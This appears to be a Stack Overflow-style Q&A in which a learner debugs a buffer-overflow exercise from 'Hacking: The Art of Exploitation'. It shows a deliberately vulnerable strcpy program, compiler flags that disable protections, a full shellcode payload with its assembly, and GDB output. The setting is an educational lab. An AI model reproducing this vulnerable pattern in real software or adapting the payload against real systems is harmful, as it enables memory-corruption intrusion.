Search code examples
assemblyx86gdbbuffer-overflowshellcode

Can't Reproduce Buffer Overflow Without GDB


I have been trying to troubleshoot this problem for a while. I have checked a few StackOverflow links with similar problems, but none of the fixes seemed to work for me. For some reason, instead of getting a Segmentation Fault like I should be (if my exploit code didn't work), my exploit code simply doesn't generate the fault. My original assumption was that the perl code somehow generated only a little bit of output, thus not overflowing on to the stack, but I proved this wrong by piping the output of the perl command to a file.

I am not able to reproduce this problem in GDB, however. From my understanding, GDB disables ASLR, but I've disabled it (temporarily) in the system through the following command. I know this command works because I am printing out the address of the variable &buff, and it doesn't change among multiple runs.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

I have also disabled stack canary protection on my executable:

gcc -g -m32 -fno-stack-protector -z execstack exploit.c

As I've said before, my exploit works perfectly in GDB. Here is my exploitable program, and I'll show you my exploit code.

exploit.c

int checkFunc(char *c) {
    char buff[32];
    printf("0x%08x\n", &buff);
    strcpy(buff, c);
    if(strcmp(buff, "test") == 0) return 1;
    else return 0;
}

int main(int argc, char *argv[]) {
    int result = checkFunc(argv[1]);
    if(result == 1) printf("Access granted\n");
    else printf("Access denied\n");
    return 0;
}

GDB output of [working] exploit code

(gdb) set args "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
(gdb) run
Starting program: /home/chris/exploit/a.out "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
0xbffff630
pwn

Regular output of exploit code

chris@cb:~/exploit$ ./a.out $(perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x60\xf6\xff\xbf"x5;')
0xbffff660
Access denied

Yes, I have taken into account of the return address changing (GDB adds extra environmental variables). That's why I've sort of cheated by printing out the return address in my program so that I know what the exact value is without using GDB.

If anyone thinks that the exploit code is wrong somehow, I'll post the assembly code as well.

xor    edx,edx   ;xor so we don't have to use a null terminator in our code
xor    ecx,ecx
xor    ebx,ebx
push   edx       ;push the null terminator to the stack
push   0xa6e7770 ;push our string pwn\n to the stack
mov    dl,0x4 
mov    ecx,esp
mov    bl,0x1
mov    al,0x4
int    0x80      ;print our string
jmp    eip - 1   ;keep on looping!

Thank you so much in advance! I've been stuck on this for hours now. And just so you guys know, I've written this exploitable program to learn about Buffer Overflows in Hacking: The Art of Exploitation.


Solution

  • For anyone with this problem in the future...

    The problem I had with the program was the 0x0A character in my buffer. For some reason, GDB treats this as a simple new line character, but when running the program normally, it is treated as a null character. I resolved the problem by changing the newline character to something else. Thank you for your help Jester, EOF, and Michael, for leading me into the right direction, and helping me write better code :).

    (gdb) x/32x &buff
    0xbffff130:     0x90    0x90    0x31    0xd2    0x31    0xc9    0x31    0xdb
    0xbffff138:     0x31    0xc0    0x52    0x68    0x70    0x77    0x6e    0x00
    0xbffff140:     0x20    0xec    0xfc    0xb7    0x2d    0x86    0x04    0x08
    0xbffff148:     0x64    0xf1    0xff    0xbf    0x00    0x00    0x00    0x00
    

    As you can see, the byte 0x00 terminates the string at byte 15, and thus, the rest of my array has uninitialized values.

    I am assuming that the program thinks that I am doing an actual new line for the command line arguments, but we all know that isn't the case ;).

    To fix this problem, I simply substituted another value for the newline. Unfortunately, I do not know how to incorporate the newline into my program without causing this issue. I've thought of the following hacky solution to compensate. Put the value of the newline minus one (0x9) into a register, then calling the inc opcode on the register, and push it on to the stack.